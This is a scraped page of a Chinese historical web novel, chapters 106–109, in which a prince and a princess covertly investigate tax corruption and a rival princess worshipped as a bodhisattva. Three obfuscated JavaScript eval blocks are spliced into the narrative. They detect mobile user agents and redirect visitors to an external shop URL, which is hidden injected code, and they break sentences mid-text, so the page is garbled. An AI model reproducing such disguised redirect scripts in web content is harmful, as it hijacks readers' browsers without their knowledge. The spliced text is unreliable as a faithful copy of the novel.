李鹤霖不动声色的打量了四人,撞‘瘸腿’的那人偏胖,是里面看着年纪最小的,约摸十八九岁,穿着衙役服。另外三人都是正当壮年的男子,穿着墨绿色的官袍。 他微笑着说了声免礼,对那‘瘸腿’少年说道:“你先揉揉吧,淤血凝结会更疼。” 那少年听了没立刻行动,而是用眼神询问了一下刘叶刘副使。后者恨铁不成钢的说到:“看我做什么!王爷让你揉你就揉揉!傻小子!” “是,舅舅。”少年立刻席地而坐,卷起裤腿查看伤情。 “舅舅?”李鹤霖扭头看向刘叶,似笑非笑的看着他。 刘叶擦了擦额前的冷汗,解释道:“王爷有所不知,并非下官明知故犯,而是税务司没有油水可捞,百姓不愿意来做衙役,都去了县衙或者码头,下官实在是没办法了,才会让他来帮个忙。” “油水少?”李鹤霖狐疑:“父皇登基之后便解除了海禁,虽然依旧不许远洋,但隔海相望的百济、新罗等国还是有不少来往商船的。虽不及扬州熙熙攘攘,但每日漕船怎么也得有上百条吧。丝绸棉麻一分税,金银器物两分税,米粮三分税,再加上官盐官铁的运输,本王记得前年淮南打造了一百纲百吨漕船,分了三十纲给了济河漕运,单这三十纲来往一个月就能收三十万两白银的船税。商户们给衙役些辛苦钱,少查千分之一的重量,便能少交不少。衙役们怎么会没有油水可捞?” 刘叶尴尬的笑了笑,他没想到传说中只擅长领兵的淳王竟然还懂这些。 放在今日之前的李鹤霖当然是不知道的,他能懂得这些自然有赖于一路上章麓的集中‘授课’。 李鹤霖见他们都低着头沉默,便道:“有什么话但说无妨,本王今次代天子巡狩,自然是要解决各地衙门与百姓之间的问题,税务也算其中之一。” 几人面面相觑,最后都将期待的目光落在了身为税务司副使的刘叶身上。 刘叶承载着众人的期盼,倍感压力,他擦了擦越来越多的冷汗,对李鹤霖解释道:“王爷,有些话其实并不该下官来说,但既然王爷问了,那下官就冒大不韪,将事情的原委告知于您。” 这些话传入章麓耳中,引得她好奇的打量,而后轻轻一笑,握住了李鹤霖的手。 “陛下潜龙在渊时,曾任过三年通州同知,而通州就在兖州和青州的南边,先卫王妃的娘家在青州,其妹婿则来自青州霍氏,姐夫来自淮南杨氏。雨陶郡主自幼便在青州与登州之间来往,对这两地非常熟悉。陛下仁善,将漕运重镇划为郡主封地。然而自郡主入主以来,一直迟迟未能清理济南官场。哎,主要郡主是位女子,手段太过软盒,任由杨霍两家把控整个青 、登、莱三州的商业,连大同商号都被挤兑离开,这三地俨然成为了杨霍的一言堂。下官虽官拜从四品,但人微言轻,上越不过莱青节度使苏用,下敌不过背靠大树的杨霍两家,着实艰难。” 李鹤霖听罢,联想到平原郡的付瑜和张贺成,不免有些恼怒:“大人放心,本王定会……” “王爷!”章麓打断了李鹤霖将要出口的话:“我瞧着莱青郡的风景不错,不如先逛几日欣赏欣赏风土人情,再说公务不迟。” 李鹤霖诧异的看着章麓,感受到手上不断加重的力道,立刻明白她的话里有话,便对刘叶说到:“你说得是,左右已然是这幅模样了,倒也不急于这一时。刘大人,您说的事本王记下了,过几日本王定然会派人好好调查一番。” 刘叶敛了敛脸上的笑容,恭敬道:“王爷一路舟车劳顿,是下官疏忽,不若今晚在莱青郡最大的凤庆楼为王爷摆道接风宴?慰劳一番。” “不必了,刘大人事物繁忙,怎敢劳动,本郡主与王爷吃不惯大家席面,在街边吃些小粥小菜便好。”章麓笑着说道。 说罢,她还摸了摸肚子,对李鹤霖撒娇道:“王爷,我到现在连早膳都没吃呢,都快饿昏过去了,咱们先去吃晚膳吧?” 李鹤霖感受到了贴在胳膊上的软绵,脸色顿时一红,结巴道:“行,都依你。” 章麓闻言,高高兴兴的拉着李鹤霖朝外头走。 刘叶愕然道:“如今临近黑夜,不若下官请客,摆膳凤庆楼?” “不必了!”章麓挥了挥手,离开的脚步更快了些。 刘叶前朝默帝时曾任过京官,见过不少昏庸无道、沉迷美色的皇亲国戚、官员大臣,本对传闻中严肃刻板的淳王颇为期待,却没想到也是个美人说一句娇话,就找不到东西南北的主。 这让刘叶感到些许失望。 出了税务司衙门,李鹤霖低声问章麓:“你是不是有什么想法?” 章麓眨了眨眼,微微一笑道:“你觉得呢?” “肯定有,否则你不会打断我的话。”李鹤霖肯定道。 章麓并不奇怪他的敏锐,解释道:“王爷想管此事,对吗?” “自然。”李鹤霖点头。 “既然想管,就不能一直留在税务司闭门造车。得出来走走,才能发现掩藏在暗处的真相。”章麓道。 李鹤霖蹙眉:“什么意思?” “刘大人乃是□□,我曾看过他秋闱的文章,很是精彩,当年的试题是由张锦所出,主旨便是漕运,他能得□□,可见作为主考官的张锦张大人颇为看好他。可这样的一个人,在税务司半年却毫无建树,甚至在你来后一直卖惨,是因为何?” 李鹤霖:“强龙压不过地头蛇?” “有这方面的原因,但它绝不是决定性的。” 两人正好路过一间丝绸铺子,章麓带着李鹤霖走了进去。 掌柜的见几人衣着不凡,不是熟面孔,猜测是其他州县远道而来的行商,便热情的上前介绍店铺的衣料。 章麓看了一圈,指着一批流光纱问道:“这料子产自福州,倒是不常见。” “客官好眼力,这可是上周刚从福州运来的上等流光纱,裁制秋衫既透气又暖和,被阳光一照如同海面波光,一层叠着一层,煞是好看,客官可以来上一匹,回去裁制几件秋衫,定能引得小姐妹的艳羡。”掌柜的卖力的介绍着。 章麓高兴的点点头:“不错,这多少钱一匹?” “十两银子一匹。”掌柜的低声道:“这可是给姑娘的实惠价,流光纱只有福州产,沿海运到莱青要花费十三四日,入关后还要缴纳高额的船税、过税,成本实在是高,本店小本生意,真是不赚你的钱,就讨个回头客。” 章麓一脸懵懂的样子,问道:“杨露明明说你们这流光纱不贵,运进来就三百文一匹,怎么到你这里就要十两了?” 那掌柜的一听,眼睛滴溜溜的转着:“这可是杨三公子定的价,小的……小的怎么敢乱卖!” “杨家哪里来的杨三公子?”章麓翻了个白眼:“是杨二懒又偷吃了哪家的清白姑娘,生下个儿子?那也得排到十一了吧。”突然,她似是想到了什么,横眉冷对到:“你莫不是觉得本姑娘是个骗子!故意骗你的吧!” 掌柜的陪笑道:“哪儿能啊!姑娘说三百文一匹就三百文一匹!算小的卖杨家一个面子!” “嘁!别给自己脸上贴金!杨家需要你给面子?”说罢,她气呼呼的拉起李鹤霖就走:“不买他们家的货了!咱们去别处看去!” 那掌柜的在后面又喊了几句,都被章麓无视掉,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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章麓点头:“没错,他们一直如此嚣张的把控着漕运和税务,就是因为朝廷鞭长莫及。三州被他们把持着,消息出不去,自然没人知道这里发生的一切。如果他们知道你在暗访,定然会收敛行为,甚至限制漕船出航。可白花花的银子就这么眼睁睁的一日日溜走,你猜他们能忍多久?” 李鹤霖:“自然是等危险离开之后。” 章麓看了他一眼叹气道:“不是所有人都像你的定力这么好,每等一日,便是白花花的银子流出去,商人逐利,只要能有三成利,就足以让他们赌上自己的命。” 李鹤霖低头看向她,章麓伸出一只手,道:“我赌最多五日,他们定然会忍不住重新出海!所以这几日,我们只需假借欣赏风土人情,明着吃喝玩乐,实则摸清莱青的物价与杨霍两家的生意布局。” 她看着月上柳梢头,渐渐关上大门的店铺,笑到:“只听刘叶一人言辞很容易进入误区,不如自己亲眼见一见,听一听。” “只是这样?” “只是这样。”章麓道,“不过,在此期间,我还得易容去见一下霍封黔。” “他是霍家人?” “霍家现任家主,姐夫与他有旧,但我不确定能不能说服他,只是勉力一试。如果他愿意配合,我们在登州的路就能好走很多。”章麓解释道,“这其实也是个可怜人,只是,杨霍两家的利益密不可分,如果不是被逼到绝路,怕是不会合作。” 此后的五天,李鹤霖与章麓真如他们所说,在济南郡一路吃喝玩乐,再也没踏进税务司一步,也没有去郡主府见一见被软禁的李啸音。 107. 第 107 章 杨府。 一个长相毫无特点的青年穿着一身杨府四等小厮的蓝色短衫,低着头托着托盘,缀在一条由管家带领的送膳队伍的尾部,一路登上了‘铜雀台’。 杨家家主杨奉贤裸着上身,红纱巾蒙着双眼,正与十几位身着清凉的少女玩着捉迷藏游戏。 欢笑声在管家和小厮登上第三层的时候就能隐约捕捉,管家见怪不怪,小厮们头垂得更低,嘴巴闭得更紧。 “家主,您要的东西送上来了。”管家敲了敲门,等了半晌才听见一声‘进’。 门被人从里面打开,少女们都端坐在屏风后,只两个衣衫半褪的侍女跪在门边,扶着打开的门板。 “东西放这儿就出去吧,今天没什么大事就不要来打扰我。”杨奉贤灌了一口凉茶。 “是。”管家指挥着小厮们将盖着布巾的托盘放下,整齐的排列在铺满软垫的木台外侧。退出去时,他瞥了一眼缀在队尾,没有退出去的小厮,轻轻敲了两下门框。 杨奉贤饮茶的手顿了顿,抬起眼皮,在管家合上门之后,看向了半跪在木台外侧的‘小厮’。 他扬声道:“阿兰,带她们先回雀笼。” “是。”屏风后面传来一道银铃般清脆的女生。 很快,少女们和门边的两位侍女都迅速的离开了铜雀台顶的雀宫。 “说。”杨奉贤放下茶盏。 “淳王和新安郡主这五日一直都在济南郡闲逛,买了不少物件,还在西郊租了个三进院,一次都没有去过税务司。”小厮的声音沙哑低沉,似被烟熏过一般。 “五天了,一次都没去?”杨奉贤眯了眯眼,再次确认到:“刘叶不是安排他们住在税务司后衙吗?与刘叶产生矛盾了?” “没有。”小厮道:“淳王和新安郡主就在后衙住了一晚,第二日一早刘叶去了府衙,与淳王和新安郡主在正堂呆了一个时辰,不知道在说些什么,之后两人便从府衙出去了,再也没回去过。刘叶将他们送出门时,面色有些失望,没有产生矛盾的情况。” “失望?”杨奉贤摸了摸下巴,若有所思道:“嘶……刘叶肯定不会放过淳王来的机会,他定然想借淳王的势将豫商弹压下去,最好能将苏大人也一并拉下马,好掌控济河船运的源头。他失望,看了是淳王没答应他的要求。可淳王拿着皇帝的令牌,哪里不去偏来莱青,显然是对东郡的事有所怀疑,想要查贩卖盐铁米粮去吐谷浑这条线的源头。不过,他们居然不与刘叶合作,不太寻常。” “家主。属下的人跟了他们几日,这两人一直都在吃喝玩乐,并不像传闻中那般精明。”小厮道。 “你懂个屁!”杨奉贤拿起搭在屏风上的衣衫穿上:“淳王可不简单,单就武力来说,你那十几个人加起来都敌不过他一个,更何况还有个新安郡主,这位可是虞庆侯的亲女儿,传闻她治理鱼阳郡时才十五岁,还一力弹压下了在千金城闹事的外邦商户。” 他披上外袍,将手洗净:“章家传承百年,无论男女就没有不会领兵打仗的,咱们的那点人在他们眼里都不够看的。这俩人当初到了平原郡才几日,就把付瑜和张贺成都给清理了,连杨怀广和杨竹都搭了进去。现在人头生意的货源丢了大半,主子千叮咛万嘱咐,让我们要千万小心。主子可是能从猎宫那样的情况全身而退的人,对这两人都如此提防,肯定有两把刷子。” 小厮道:“是,还继续盯着吗?” “盯,但你别再出税务司了,好不容易才把你钉到刘叶的身边,被拔了就亏大发了。”杨奉贤将腰带扣好,由小厮为他穿上鞋靴,叹息道:“钝刀子割肉才是最疼的,自主子回来便命令各码头停船,如今已经停了十日,商会那帮狼崽子早饿疯了,前日会谈时居然还想咬我的肉,哼!你先下去吧,有任何动静立刻来报。” “是!” 杨奉贤目送小厮离开,他一转身,瞥见朝铜雀台而来的麻雀,轻笑一声,从腰带中摸出一枚铜钱,只听得一道破空声,那麻雀便重重的落在了地上。 * 雨陶郡主府内,侍女低头领着杨奉贤来到郡主的书房。 李啸音正在案头书写着什么,待书房门再次被关上,她方才落下笔看向来人。 “何事?” 杨奉贤低眉顺目,将暗桩的回禀细说一番,姿态恭敬的说到:“郡主,草民是个商人,自然也最了解商人。能做大的看得懂局势,自然不敢违背郡主的意思。但那些没什么本事的小鱼小虾,怕是要坏事。” 李啸音面无表情,手中的笔依旧稳健:“优胜劣汰是基本的生存法则,有人想找死就让他们去死。正好可以趁此机会修剪枯枝败叶,割掉腐骨烂肉。” “这样做会不会寒了人心?毕竟……要不是这些底层的商户跑着那些不见光的营生,这生意也不会盘得如此之大。”杨奉贤神色带着些犹豫。 在遇到主子之前,杨家在淮南也就是末流家族,靠着运河上的生意游走于临水的几个小城之间。偶然得李啸音青眼入了登州,之后一步步扩大生意全靠着这些狐朋狗友。虽他们在李啸音眼中不过是些不重要的小鱼小虾,但毕竟十几年的情义在,虽说商人无心,但也不想一遇到事就断得如此果决干脆,不留情面。 宛若白玉的手停了下来,黑色的墨汁顺着笔尖滴落在纸面上。李啸音将笔撂下,声音冷肃又威严:“杨奉贤,本郡主可曾有亏待过他们?” “不曾。”杨奉贤垂首看着地面。 “既不曾亏待过他们,又为何要本郡主替他们的错兜底?”李啸音的声音不大,却字字敲在杨奉贤的心尖,头垂得更低的同时,脑海中冒出一个念头,李啸音这是要断尾求生了吗? 也不怪他突然产生这种想法。因猎宫叛乱被抄家的时候,李啸音都不曾要求收敛生意,甚至还在全家抄斩的情况下全身而退。 那时候,他还感叹自己当年选对了主子。 可自从各王就番的旨意下达后,情况就变了。 李啸音强硬的命令所有码头停止船运,似是一直在等待李鹤霖,等待他的到来,也等待他的离开。 现在,那些底层的商户们扛不住,向他求援、逼迫,李啸音竟不管不问,甚至还想要舍弃他们。 这让一直以来顺风顺水,从未受挫的杨奉贤不得不多想。 坐在红木凤头椅上的李啸音,将杨奉贤微微变动的神色尽收眼底。她如白玉般的手指轻轻的、有规律的点着圆润的把手,平淡无波的说到:“杨奉贤,本郡主知道你在想什么。有一点我希望你记住,当年是本郡主救了登、莱、青三州的百姓,给了他们活下去的机会,这十年来,本郡主给了他们医馆、药铺、慈善堂,给了他们吃饱穿暖的好日子。本郡主不欠他们任何人,相反,若真要论恩情,给他们几辈子怕是都还不完。” 杨奉贤心中一惊,连忙跪地恭敬道:“郡主说得是!如今断尾求生,也是为了将来的好日子!” “断尾求生?这个词真是妙哉。”李啸音微抬着下巴,神情倨傲的说到:“杨奉贤,你是不是觉得我怕了他李鹤霖?” “草民不敢!” “不敢?”李啸音冷笑一声:“淮南杨氏乃百年世家,虽在前朝末年没落,但如今已然复起。杨家主武功卓绝,又拥有泼天富贵,这世间竟还有杨家主不敢之事?” 面对李啸音的讽刺, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266795|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨奉贤不敢驳斥,只能将头垂得更低。 李啸音也不想跟他兜圈子,直言道:“你可知我朝与高句丽的战事?” “有所耳闻。” “只是有所耳闻?”李啸音尾音微微上扬,带着一丝不可置信:“做商人不了解国家大事,可是非常致命的。我告诉你,虞庆侯世子踏破了高丽王引以为傲的亲卫,甚至逼得高丽王割让三城以示和谈诚意。如今,他恐怕已经拿着高丽和鲜卑的和谈文书,抵达长安了。你知道这意味着什么吗?” “草民不知。” 李啸音冷哼一声:“这意味着章家要更上一层楼,而与他嫡女章麓定下婚约的李鹤霖,离太子之位只差一步,而这一步他能不能踏上去,就看我们守不守得住手里的肥肉。守住了他就上不去,守不住,你我都得死。” 她单手托腮,垂眼望着额头点地的杨奉贤,道:“成大事者不能只顾眼前利益,如今陛下宠着李鹤霖,又给了他巡狩的权利,咱们就要懂得避其锋芒。不过,这锋芒倒也不会锐利太久,皇帝的宠爱从来都不是一成不变的。更何况他李鹤霖能不能登上那至高无上的宝座还未可知,毕竟长安城里的世家们都极为的厌恶他这种刚正不阿的人。” 杨奉贤双眼盯着地面,头脑异常清醒的转动着。 泰安帝一上位就明摆着不想被世家牵着鼻子走,几次强硬手段都逼得世家不得不一而再再而三的退让,尤其是平原郡事发后,朝廷加快推行关于田地丈量的新法,简直让世家们狠狠割了一回肉。 而李鹤霖曾与皇后在野逃亡数年,吃尽了世家与酷吏的苦楚,自是恨世家与贪官污吏,若他上位,这些世家的日子定然比现在更加难过。 不过,李啸音说这话是什么意思? 李啸音见他依旧一言不发,中指点了点自己的下唇:“杨奉贤,我劝你回去好好盯着你那些所谓的兄弟。在这个节骨眼上,忍一时风平浪静,退一步海阔天空。但若是犯了浑,只怕是天王老子来了都救不了他们的命。” 杨奉贤心中一凛,小心翼翼的抬头看向上首:“郡主这是何意?” “何意?”李啸音笑着回答道:“你觉得李鹤霖比之那几个前朝王爷如何,好杀吗?” “自然不好杀,淳王用兵如神,曾领八百人逃离西戎大王子的埋伏。本身武艺极为高强,若草民与之对上,都未必能全身而退。与前朝那几个草包可完全不一样。”杨奉贤老老实实的回答道。 李啸音微微勾唇:“可惜,有些人不这么想啊。” 杨奉贤心中咯噔一下,一个恐怖的念头从脑海中升起。 他再也顾不上李啸音到底是断尾求生,还是暂时蛰伏避其锋芒,连忙告退离开了郡主府。 待他走后,李啸音的贴身侍女眠央端着茶碗走了进来,换掉了她桌上的那套,细声细语的问道:“主子,您为何不愿意帮他们?那些小卒子定然会觉得您是怕了淳王。” 李啸音抿了口新茶道:“巨象不会在乎蝼蚁的想法,他们若想反我,得先问问莱青郡的百姓答不答应。” 她放下茶碗问道:“对了,西洲侯那边有消息了吗?” 眠央道:“咱们提的条件他都应了。” 李啸音勾了勾唇,心情颇好的说到:“他引以为傲的儿子受了重伤,又不肯听他的命令,还对他的所作所为厌恶至极。他若是还不应,便真的没有退路了。程卫昭就是条随时可能反噬的毒蛇,他在平原郡查到那么多东西,虽然现在没有告诉泰安帝,但不代表以后不会,毕竟他母亲还没与程府脱离关系,他总要留个谈判的筹码在手上。可一旦被逼急了,兔子也是会咬人的,更何况一条凶猛的蛇。” 108. 第 108 章 莱青郡靠近济河漕运的地方,有一座香火鼎盛的寺庙。 这庙与他处不同,并未建于深山老林,也没有难如上天的朝天梯,而是建造在繁华的市集当中,唯茫茫香火扶摇直上,迈入云霄。 市集内卖得多是海货,各类鱼获琳琅满目,但九成不要银钱,只交换粟米、茶叶和布匹。衣着各色的行商游走其间,各类语言杂驳不一,还有不少衣着破旧但洁净的百姓去挂着‘杨’字的粮铺换米,千恩万谢的离开后,直奔香火鼎盛的寺庙而去。 李鹤霖从未听过如此多的地方话,一知半解的跟着章麓往前走。而章麓全都能听懂,毕竟人生有一半的时间都耗在了千金城,那里来往游商比这边多了不知几倍。 她时不时因为听到什么有趣的对话而笑出声,回过头讲给李鹤霖听,两人就这样慢悠悠的走着,宛若一对趁着夏初天气还不算特别炎热,出来游玩的年轻夫妻。而隐藏在暗处的影卫悄无声息的敲晕一个又一个跟上来的探子,将他们套进麻袋伪装成货物送去了城东的一处不起眼的货栈。 两人一直逛到午正,太阳高高悬挂,开始发狠的照耀大地。章麓找了一家不起眼的面店,两人坐在一张不大的临门方桌旁,点了两碗鱼片面吃了起来。 这里的鱼口感与长安的大不相同,它鲜美滑嫩,只开水烫过一遍,面上铺着三四片半掌大小的墨绿色海带,点几滴醋和鱼油,鲜香便扑面而来。 章麓喝了一碗鱼汤吃完一碗鱼片面,已然大饱。剩下一碗鱼汤粉丝白菜只夹了一筷子尝了尝,其余皆被李鹤霖给收拾了。 结账的时候,一个挎着篮子的姑娘走了进来,她左右看了看,来到章麓旁边,用土话问道:“二位快吃完了是吗?我可以先坐在这里吗?” 章麓看到她腰间挂着五彩绳,尾端打着金刚结。在莱青郡,这是寄宿在慈安堂的孤儿的标识。 她点点头,笑意盈盈的看着她,用土话回到:“请便。” 那姑娘再三道谢,将装满粟米袋子的篮子放在地上,坐在了桌边。她看了看章麓又看了看面无表情在柜台付账的李鹤霖,笑着对章麓说到:“你们是夫妻吗?” 章麓顿了一下,回应道:“是。” 那姑娘从篮子中拿出一袋扎好口的粟米,递给章麓:“好人有好报,谢谢你不介意我的命格,愿意让我坐下。照音寺还是很灵验的,你可以与小郎君去哪里求一支金雁签。” 章麓接过巴掌大小的米袋,外面是用粗麻布制成的袋子,用手颠了颠,大约有四两左右重。 李鹤霖走过来,只扫了那姑娘一眼,对章麓温柔的说到:“咱们接下来去哪儿?” 章麓指着不远处的照音寺,若无其事的说到:“这位姑娘送了我一份善缘,我们去照音寺求支签吧!” 李鹤霖对此没意见,离开府衙之后,他就一直跟着章麓走,去哪里都无所谓。 两人走在通往照音寺的路上,越靠近寺庙,周围换米粮的小铺子就越多,挤挤挨挨的,每人都提着一筐刚打捞的鱼获走进粮铺,出来时都拎着一个不大的米袋子,估摸着有三斤重。 距离寺庙还有十仗左右距离时,往来香客已然摩肩接踵,李鹤霖一手虚环着章麓的后背,一手悬挡在她的胸前,为她尽可能的阻拦人群的挤压。 这时,不知道是谁撞了谁,章麓右侧的人朝她倒了过来,撞翻了她手中的粟米袋,袋口在落地的冲击下破开了一个口,金黄中带着点黑的粟米从袋口露了出来。 那男人连声道歉,弯腰捡起掉落的粟米袋子,周围人都看着,倒是没见有人再往这边挤过来。 章麓在对方将米袋捡起,想要递给自己的时候,用土话质问道:“这是我用来求签的缘分!” 对方愣了一下,显然没料到这种情况,他吭吭巴巴的回道:“那……那我赔给你?” “赔?这是因为我做善事,慈安堂的小姑娘送我的善缘,你怎么赔?你是天煞孤星的命格吗?你在慈安堂接受过佛度吗?你说赔就能赔啊?”章麓的斥责声引来了周围人的视线。不少同样提着粟米的百姓纷纷指责男人,说他损功德,会被照音菩萨抛弃,在看到章麓留下来的眼泪时,更加义愤填膺。 那人见势不对,连忙找借口钻出人群。 其他人见状,转过头去安慰章麓,双手合十与她祝福,章麓同样双手合十回应。而听不懂他们在说什么的李鹤霖一脸懵的护着章麓,想跟着双手合十回应百姓,又怕她再被撞到,不跟着做又怕其他人用异样的目光看向自己。 不过,百姓们对于他的毫无反应见怪不怪,还对章麓说,这位小郎君模样俊朗对你还好,姑娘有福,照音菩萨会保佑你们的。 章麓破涕为笑,感谢他们的祝福,与李鹤霖一同随着人流进入了照音寺。 在寺庙内,百姓更为有序。 他们在主庙前的六口米缸前整齐的排队,一个一个将带来的米粮倒进米缸里,接着再去主庙三叩九拜,最后在沙弥的指路下去往厢房领取新鲜的蔬菜和瓜果。 章麓将仅剩一半的米粮袋解开,倒入门口的米缸,与李鹤霖一同踏入了主庙。 一入庙门,李鹤霖就愣在了原地,他抬头看着足有三丈高的照音菩萨像,眸中陡然冒出了一簇火苗。 还未等他质问出声,头就被章麓强行按下,随她一起跪在了蒲团上。 李鹤霖的胸膛剧烈起伏着,咬着牙死活不肯拜,章麓也不强求,规规矩矩的三跪九叩后,在沙弥异样的目光中,拉着绷着脸的李鹤霖,往厢房走去。 途中,李鹤霖三番四次想要开口,皆被章麓无情阻止。 两人踏入厢房,里面放着一框框的新鲜瓜果蔬菜,四个沙弥正在给百姓分发。每个人能领到四个苹果、一个椰子和一小筐青菜、芦笋。 出了寺庙,两人再次踏入热闹的市集,随着包子铺小二搬出一笼笼热腾腾的包子后,两人的身影彻底消失在探子们的视线之中。 几个伪装成香客的探子来到一个馄饨摊前,用点菜的话交流信息,这才发现,刚刚撞翻粟米袋子的探子已经失踪了。 两人走到一条人迹罕至的小路,章麓才松开李鹤霖的手,伸出舌头尝了尝指尖的味道,是咸的。 她打了个呼哨,很快就得到了回应,一道身影从角落钻了出来,瞧着像是个常年混迹赌坊的溜子,那人瞧见章麓,双眼一亮,上前言语调戏,被章麓一下子就放倒了。李鹤霖分明看见,章麓在拍向这溜子的后背时,往他腰带里塞了一张字条。 那溜子捂着腰骂骂咧咧的跑走了。 李鹤霖:“他刚刚……” “嘘。”章麓制止了他的话,“看破不说破。” 她拍了拍河豚的背,说到:“你方才在寺庙想说什么?” 李鹤霖:“你瞧见那尊菩萨像雕的是谁的容貌吗?” “我看见了,是李啸音的。”章麓平静的回答道。 “那你还拜?”李鹤霖怒气腾腾的在原地转圈:“李啸音竟敢用自己的容貌塑菩萨像,还让百姓跪拜她!其心可诛!” 小路邻水,旁边有大片的乱石滩,章麓拉着李鹤霖走到河边,让他坐在一颗大石头上,心平气和的问道:“你只发现了这个?” “什么意思?”李鹤霖蹙眉:“这个难道还不够让人生气吗?” 章麓摇摇头,含笑看着他:“你就不好奇,为什么主庙前摆着六只米缸,为什么百姓们在入庙前要用鱼获去粮铺换去粟米,为什么米缸里的米不少都发霉甚至长芽,为什么这些百姓在祭拜过后还能领到海南才有的椰子,中原盛产的苹果,吐蕃特有的竹笋,沿海难种的青菜吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266796|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 被这么一连串问题冲击后,李鹤霖这才反应过来,他的眉头挤成连绵的山峰,低头想了很久都没相处个所以然来。 章麓安抚性的拍了拍李鹤霖的手背,道:“殿下,兵法有云,知己知彼百战百胜。今日我带你来,就是想要你能知彼。” 李鹤霖看向她:“愿闻其详。” 章麓的目光落在波光荡漾的河面上,语气悠长:“殿下可知道西戎各个国家都是全民信佛的?” 李鹤霖点头。 “西戎各部落原本是各自为政,互相之间孤立的局面。但在十年前,吐谷浑王统一除吐蕃、大小勃律外的其他三十六小国,通过法律、制度、宗教,将各个小邦政权联合到了一起。当时前朝大业帝刚刚复位,为了回复六王之乱带来的损伤,他与吐谷浑王签订了友好同盟条约,送给了他一部分工匠、农民、大夫、商人。” “吐谷浑因为三分之二的土地都是高原,物资匮乏,吐谷浑王将城邦建立在盆地深处,唯一水田丰富的土地上。但这三分之一的富饶并不能养活全部的子民,于是他将大业帝送给他的工匠和大夫挑选了一半留在都城,其余的全部送去了贫瘠又穷困的地方。吐谷浑王为他们建立医馆,输送药材,为他们建造稳固的房屋,还给他们种子去种地,因此百姓对他感恩戴德。”章麓看向李鹤霖,问道:“你知道吐谷浑王给他们的是什么种子吗?” “是高原上才能种植的药材或者粮种。”李鹤霖肯定的回答道。 “没错,”章麓道:“当地的百姓并不知道这些东西的用途,但他们知道只要种了这些,待收获后,就能拿它们去王室派来的商人手中换取粮食、布匹,甚至是一些稀罕的物件。” “就这样,吐谷浑王获得了百姓的拥戴,不少贫穷的部落自愿并入了吐谷浑王的部落,成为了他的子民。吐谷浑王又为他们建造演兵场,招收他们成为士兵,去抢夺其他国家的资源与土地。获得的战利品七成交给吐谷浑王,留下的三成足以让他们的家人生活得更好,甚至可以让孩子走出高原,前往富饶的土地生活。” 李鹤霖的眉头微微舒展,他有些明白章麓的意思了,声音艰涩的说到:“对于百姓来说,能让他们吃饱穿暖的人就是好人,他们可以为他献上自己的忠诚。” “可是,谁让他们吃饱穿暖呢?”章麓看向平静的水面,星光和着月光映照在水面上,流光溢彩,就像济南的百姓拱卫着他们的神明。 “是李啸音。父皇当年心疼卫王,知道他不善领兵打仗,便让他戍守青州,北有靖国公、安国公守护,南有淮南王投诚,他呆在这里是最安全的。于是,给了李啸音在此发展的机会,这里的人受了恩惠,过上富足的日子才会对她感恩戴德,即便她买卖人口,即便她杀人如麻,即便她真的与卫王一样参与了造反又如何?百姓只知道她赐予了她们活下去的机会,在她们最为无助的时候。” 章麓握紧了李鹤霖微微颤抖的双手,沉声道:“这就是她的可怕之处,于莱青百姓来说,她是天神,是菩萨,是救命的恩人。你不可能在济南百姓的眼皮子底下审判她。” “那我该如何呢?”李鹤霖的心沉入谷底,如果李啸音罪名落实,他要面临的就是三州百姓的发难。 如果朝廷强行治她的罪,那么李啸音完全可以鼓动百姓暴乱,加上三州的府兵,她可以自己划地为王。即便朝廷强攻成功,也会被百姓怨恨,派下来的地方官员难以平息民愤,就会衍生各种帮派,成为朝廷鞭长莫及的法外之地。 总而言之,李啸音可以死,但是朝廷也落不得半点好处。 一声呼哨从树林中传来,章麓站起身,对李鹤霖说到:“既然暂时动不了她,那就先尝试逐个击破,待架子塌了,她站得越高,摔得便越狠。明日一早,我带你去个地方。” 109. 第 109 章 济河的入海口有一个巨大的渡口,连通三河一江一海口。 渡口设八道水门、十九座桥梁,每日大小船只往来频繁,河岸纤夫时常聚集在各个码头附近喝酒聊天,往来小商贩络绎不绝。 章麓与李鹤霖易容成西戎小国游商的模样,坐在南水门不远处的酒楼里,点了两个小菜,边吃着白灼虾,边看着窗外的风景。 本来章麓想要扮成新罗人,但碍于李鹤霖实在只会说吐谷浑话,怕露馅,只能伴做这里最少见的西戎商人,假装没见过世面的样子,一路用西戎话夹杂着汉话来到了南水门。 酒楼的小二非常健谈,也精通不少外邦语言和各地土话,对章麓的问题知无不言言无不尽,言语间处处都透露着对雨陶郡主的赞扬,以及生活在莱青的自豪。 说得李鹤霖这种山崩于前还面不改色的人,差点黑脸掀桌。 为了套近乎,章麓还将从聚粹轩那里带出来的几样宝贝送给了掌柜,以感谢他们的好心。 掌柜的拍拍大肚皮笑到:“你们来一趟不容易,当然是希望能将莱青郡好的物产都带回去,也宣传宣传咱们莱青,吸引更多的游商来这里交易。到时候,咱们这里也建座千金城,将北边那个给他干下去!哈哈哈!” 